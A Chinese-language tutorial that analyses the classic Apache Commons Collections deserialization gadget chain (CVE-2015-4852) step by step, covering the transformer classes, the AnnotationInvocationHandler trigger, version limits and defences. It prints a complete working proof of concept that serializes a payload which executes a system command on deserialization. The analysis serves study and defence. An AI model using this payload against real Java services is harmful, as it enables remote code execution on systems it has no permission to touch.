Java反序列化漏洞分析:Commons-Collections组件利用链详解
一、前言
Java反序列化漏洞是Java安全领域的重要议题,其中Apache Commons Collections组件(简称CC组件)的反序列化漏洞(CVE-2015-4852)是最经典的案例之一。本文将从基础开始,详细分析CC组件反序列化漏洞的利用链构造过程。
二、反序列化漏洞攻击流程
一个完整的反序列化漏洞攻击通常包含三个主要部分:
- Payload:需要让服务端执行的恶意代码(如执行系统命令)
- 反序列化利用链:服务端中存在的反序列化利用链,会层层解析恶意构造的exp
- readObject复写利用点:服务端中存在的可以触发漏洞链的readObject函数复写点
三、Commons-Collections组件简介
Apache Commons Collections是一个扩展了Java标准库Collection结构的第三方基础库,提供了许多强大的数据结构。其中关键功能是"Transforming decorators that alter each object as it is added to the collection"(转化装饰器:修改每一个添加到collection中的object)。
关键类:
org.apache.commons.collections.Transformer:定义对象转换逻辑的接口TransformedMap:Map的扩展,可在元素加入时自动进行特定修饰变换
四、漏洞利用链分析
1. 核心类分析
InvokerTransformer类
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
// 异常处理...
}
}
}
这是一个通过反射机制执行任意方法的转换器,是漏洞利用的关键点。
ChainedTransformer类
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
将多个Transformer串联执行,前一个Transformer的输出作为下一个的输入。
ConstantTransformer类
public Object transform(Object input) {
return this.iConstant;
}
简单的常量转换器,始终返回预设的常量。
2. POC构造过程
基础POC
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);
这段代码等效于执行:
Runtime.getRuntime().exec("calc.exe");
序列化问题解决
直接序列化Runtime实例会失败,因为Runtime类未实现Serializable接口。解决方案是通过反射链动态获取Runtime实例:
- 获取Runtime Class对象
- 反射调用getMethod获取getRuntime方法
- 反射调用invoke执行getRuntime方法获取Runtime实例
- 反射调用exec方法执行命令
封装为TransformedMap
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
这样当修改Map的值时会自动触发转换链。
3. 触发点分析
AnnotationInvocationHandler类
在JDK1.7中,sun.reflect.annotation.AnnotationInvocationHandler类的readObject方法会遍历并修改Map的值,是完美的触发点。
关键代码:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
// ...
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
// ...
var5.setValue(...); // 触发点
}
}
完整POC构造
// 构造转换链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
// 构造恶意Map
Map innerMap = new HashMap();
innerMap.put("value", "value"); // 必须为"value"
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// 反射创建AnnotationInvocationHandler实例
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
// 序列化
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
4. 关键注意事项
-
Map键名限制:必须使用"value"作为键名,因为AnnotationInvocationHandler会检查注解元素的名称,而@Target注解只有一个名为"value"的元素。
-
JDK版本限制:
- 在Java 7的低版本和8u71之前可用
- Java 8u71之后AnnotationInvocationHandler的readObject实现改变,不再直接修改Map值
-
Runtime实例获取:不能直接序列化Runtime实例,必须通过反射链动态获取。
五、漏洞利用链总结
完整的利用链调用栈:
AnnotationInvocationHandler.readObject()
-> TransformedMap.entrySet().iterator().next().setValue()
-> TransformedMap.checkSetValue()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform() // 获取Runtime.class
-> InvokerTransformer.transform() // 获取getRuntime方法
-> InvokerTransformer.transform() // 调用getRuntime获取实例
-> InvokerTransformer.transform() // 调用exec执行命令
六、防御措施
- 升级Commons Collections组件到安全版本
- 使用JDK高版本(8u71及以上)
- 对反序列化操作进行白名单控制
- 使用安全框架如SerialKiller进行防护
七、扩展思考
- Commons Collections不同版本的利用链差异
- 其他反序列化利用链(如JDK原生类、其他第三方库)
- RMI等远程利用方式
- 绕过防御措施的方法
通过深入理解这条经典的CC链,可以为分析其他Java反序列化漏洞打下坚实基础。